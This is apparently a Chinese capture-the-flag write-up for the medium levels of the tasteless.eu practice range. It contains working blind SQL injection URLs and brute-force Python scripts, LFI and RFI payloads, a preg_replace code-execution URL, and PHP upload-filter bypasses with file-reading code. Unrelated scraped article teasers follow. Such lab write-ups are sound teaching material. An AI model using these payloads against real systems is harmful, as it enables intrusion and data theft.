http://chall.tasteless.eu/

国外的一个靶场,都是单点知识,medium大部分还是比较简单

medium

Level 1- Infiltration

http://chall.tasteless.eu/level1/index.php?dir=ASC

观察URL应该能猜到后台的SQL语句为

select * from id order by xx ASC;

其中order by id后面为可控点,利用正则和^运算观察网页回显差别可得flag长度为32,应该是串md5

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^30$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^31$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^32$')

然后写脚本猜解

 import requests

 chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'

 def isTrue(p):
url="http://chall.tasteless.eu/level1/index.php?dir=^(select (select flag from level1_flag) regexp '^{}')".format(p)
print url
res=requests.get(url)
if 'date of birth. </p><p>3 : Many facts of' in res.text:
return True
else:
return False length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

参考:玩得一手好注入之order by排序篇

Level 3- Double Agent

 <?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont? always be UP TO DATE! hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!! $inc = @$_GET['file'];
@require_once($inc);
?>

用php://input直接就能执行任意代码

Level 6- Too Easy

这个和第一个有点类似,但稍微麻烦一点,在这关里过滤了一些字符,比如if,updatexml,extractvalue,*等,而且网页回显是随机抽1到3条

测试多次后发现,可以利用除法,比如随机出来的是id为1和2的数据,默认排序就是先1后2,如果都除以-1,那么回显顺序就是反的,以此差异猜解数据

select xx regexp xx 的返回值是0或1,0-1=-1,1-1=0(除以0这里好像不会有问题,其值为NULL)

同样方法判断出长度为32(32的时候回显的才是升序,其他都是降序)

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^30$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^31$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^32$') -1 )

然后写脚本自动猜解,一个个字符比对速度很慢,可以改下算法,例如二分

 import requests
import re chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM' def isTrue(p):
url="http://chall.tasteless.eu/level6/index.php?in=/( ( select (select flag from level6_flag) regexp '^{}') -1 )".format(p)
print url res=requests.get(url)
r=re.findall(r'(\d) :',res.text)
count=len(r)
while count<2:
res=requests.get(url)
r=re.findall(r'(\d) :',res.text)
count=len(r)
pass
if int(r[0])>int(r[1]):
return False
else:
return True length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

Level 7- Get Me Down

下载源码后发现.htaccess中设置了会将jpeg文件当做php解析,index.php检测了文件的MIME等,所以拿一张正常的jpeg图片,尾部加上php代码上传即可运行

访问上传的图片然后查看网页源码即得

Level 9- In My Dreams

 <html>
<head>
<title>In My Dreams</title>
</head>
<body>
<p>Here is the <a href='index2.html'>source</a>!</p>
</body>
</html>
<?php
//hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_()
//and its done
$_k = @$_GET['magic']; //put the magic byte here :)
$_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);');
$_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_";
$_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;');
((int)$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die());
$__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++;
$_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__)));
@$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
$_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');

这代码看起来是真的恶心,但最终还是梳理出来了,期间的一些乱七八糟的运算,其实在后面使用某个变量之前用var_dump把这个变量输出看看是啥,再替换成这个就行,全部替换一次应该看懂代码就没问题

然后目标是执行w_()这个函数,方法呢就是preg_replace的代码执行,这个具体可以百度,但是这里有点特殊啊,magic参数的构造我一直没成功,就用burp跑了一下,最终发现0xCE这个字符刚好能触发,所以最终payload

http://level9.tasteless.eu/index.php?magic=%ce&argv[0]=123&argv[1]=123&argv[2]=123&argv[3]=&argv[4]=w_

Level 10- Never Trust The Obvious

一个登录框,没有提示,能想到了只能是注入了,通常也都是SQl注入,但输入单双引号发现并未报错,可能是后台对引号进行了转义

猜想后台SQL语句是

SELECT * FROM users WHERE username='$user' and password='$pass'

如果输入单引号,则会被转义,即如果输入账号 ' 密码 x,语句为

SELECT * FROM users WHERE username='\'' and password='x'

那么测试转义符,发现报错

那么可以断定后台的处理逻辑确实是如此,而且\不在应当转义的列表中,则当前的语句应该为

SELECT * FROM users WHERE username='\' and password='x'

语句未闭合,当然报错

然后即可构造payload

\

or 1#

SELECT * FROM users WHERE username='\' and password='or 1#'

成功登陆

Level 11- Sjukdom

存在本地文件包含,直接包含那个文件,flag就在其中

http://level11.tasteless.eu/index.php?file=php://filter/read=convert.base64-encode/resource=config.easy.inc.php

hard难度用00截断绕过

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

Level 15- Tournament

这个根据程序功能和hint基本能确定是SQL注入,但尝试输入单双引号并未出错,那么肯定就是对引号进行了转义,所以尝试转义符

虽然并未报错,但显示的信息肯定是不对的,至于为什么会出现和上面一条一样的消息,这里不知道后台处理逻辑我也不清楚,但可以断定的是肯定这里肯定出错了,所以猜想后台插入数据库数据的语句为(代码不完全符合,因为测试发现注入点只在name处有,text处处理应该更加严格)

 <?php
$name=str_replace("'","\'",$_GET['name']);
$message=str_replace("'","\'",$_GET['message']);
$name=str_replace('"','\"',$name);
$message=str_replace('"','\"',$message);
$sql="INSERT INTO table_name (name,message) VALUES ('".$name."','".$message."')";
echo $sql;

代码只把单双引号转义,但并未转义转义符,所以如果name处构造如下

title\',1111111)#

最后的语句即为

INSERT INTO table_name (name,message) VALUES ('title\\',111111)#','x')

最后payload

title\',(select flag from level15_flag))#

Level 18- Extensions?

 <html>
<head>
<title>Extensions?</title>
</head>
<body>
<p>source code: <a href="./index.php~">index.php~</a></p>
<br/>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>
<br />
<?php
error_reporting(0); $output = array ();
$errors = array ();
$savePath = "upload"; if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) { $fileName = $_FILES ['file'] ['name'];
$fileSize = $_FILES ['file'] ['size'];
$fileTemp = $_FILES ['file'] ['tmp_name'];
$fileType = $_FILES["file"]["type"] ;
$fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION );
$fileExt = strtolower ( $fileExt ); if (preg_match("/php$/i", $fileExt)) {
$errors [] = "Invalid File Extention";
}
if ($fileSize > 800*1024) {
$errors [] = "File Too large";
}
if (! is_writable ( $savePath )) {
$errors [] = "File Destination not writeable";
} $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName;
$filePrifix = basename ( $fileName, "." . $fileExt ); if(file_exists($fileDst)) {
$errors [] = "Filename exists";
} if (count ( $errors ) == 0) {
if (@move_uploaded_file ( $fileTemp, $fileDst )) {
$output['Destination'] = $fileDst;
} else {
$errors [] = "Error Saving File";
}
} if(count($errors) > 0)
{
echo "<h2>Upload Error</h2>" ;
foreach ($errors as $error){
echo $error , "<br/>" ;
}
}else{
echo "<h2>File Uploaded</h2>" ;
foreach ($output as $key => $value){
echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ;
}
}
}
?>
</body>
</html>

代码中的正则阻止了php后缀的文件,直接上传php后缀的文件肯定不行,不过

Apache 配置中会有

.+.ph(p[345]?|t|tml)

此类的正则表达式,文件名满足即可被当做php解析,也就是说php3,php4,php5,pht,phtml都是可以被解析的

所以上传一个PHP文件,后缀名为php3,即可被解析,可以上传一句话,或者直接如下

 <?php
var_dump(scandir(".."));
echo file_get_contents("../D4tFl4g.php");
?>

查看源码即得flag

Tasteless challenges medium WP的更多相关文章

  1. Tasteless challenges hard WP

    hard Level 5- Fred CMS 十有八九是注入,不过测试引号和转义符并没发现什么,于是跑了下密码字典,竟然发现网页提示 sql injection detected! ,然后发现原来是密 ...

  2. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  3. XSS Challenges(1-12关)

    XSS Challenges解析: 1. 什么过滤也没有,而且是直接输出.<scrip>alert(document.domain);</script>即可通过 2. 直接输入 ...

  4. XSS Challenges学习笔记 Stage#1~ Stage#19

    开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...

  5. DVWA实验之Brute Force(暴力破解)- Medium

    DVWA实验之Brute Force(暴力破解)- Medium   有关DVWA环境搭建的教程请参考: https://www.cnblogs.com/0yst3r-2046/p/10928380. ...

  6. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  7. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  8. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  9. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

随机推荐

  1. 【Luogu P3994】高速公路

    Problem Background \(C\) 国拥有一张四通八达的高速公路网树,其中有 \(n\) 个城市,城市之间由一共 \(n-1\) 条高速公路连接.除了首都 \(1\) 号城市,每个城市都 ...

  2. [Spring cloud 一步步实现广告系统] 11. 使用Feign实现微服务调用

    上一节我们使用了Ribbon(基于Http/Tcp)进行微服务的调用,Ribbon的调用比较简单,通过Ribbon组件对请求的服务进行拦截,通过Eureka Server 获取到服务实例的IP:Por ...

  3. Linux下使命令不受终端断开的影响,保持在后台运行的几种方法及原理

    摘自https://www.ibm.com/developerworks/cn/linux/l-cn-nohup/ 记录一下Linux下使命令不受终端断开的影响,保持在后台运行的几个方法及其原理.当用 ...

  4. javaWeb核心技术第六篇之BootStrap

    概述: Bootstrap 是最受欢迎的 HTML.CSS 和 JS 框架,用于开发响应式布局.移动设备优先的 WEB 项目. 作用: 开发响应式的页面 响应式:就是一个网站能够兼容多个终端 节约开发 ...

  5. 上传图片到七牛云(服务端 node.js sdk)

    大体思路 前端要上传图片到七牛云,需要有一个token进行授权操作,而获取这个上传的upload token(以下简称upToken),在服务端需要一定的身份校验,比如说:只有登录的vip用户才能拿到 ...

  6. 剑指offer笔记面试题13----机器人的运动范围

    题目:地上有一个m行n列的方格.一个机器人从坐标(0, 0)的格子开始移动,它每次可以向左.右.上.下移动一格,但不能进入行坐标和列坐标的数位之和大于k的格子.例如,当k为18时,机器人能够进入方格( ...

  7. JS简单数据类型

    JS数据类型 在计算机中,不同的数据所需要占用的空间是不同的,为了便于把数据分析称所需内存大小不同的数据,充分利用存储空间,于是定义了不同的数据类型 简单数据类型 简单数据类型 说明 默认值 Numb ...

  8. SpringBoot高版本修改为低版本时测试类报错解决

    有时在使用idea通过Spring Initailizr创建项目时,默认只能创建最近的版本的SpringBoot项目. 这是如果想要换成版本,就可以在项目创建好了之后,在pom文件中直接将版本修改过来 ...

  9. 关于xshell连接limux界面按退格键不正常的问题

    这个问题通过修改xshell终端属性可以解决,步骤如下: "文件" -> "属性" -> "终端" -> "键盘 ...

  10. 高通lk屏幕向kernel传参

    LK把相关参数报存到cmdline上: 在Bootable\bootloader\lk\dev\gcdb\display\gcdb_display_param.c上gcdb_display_cmdli ...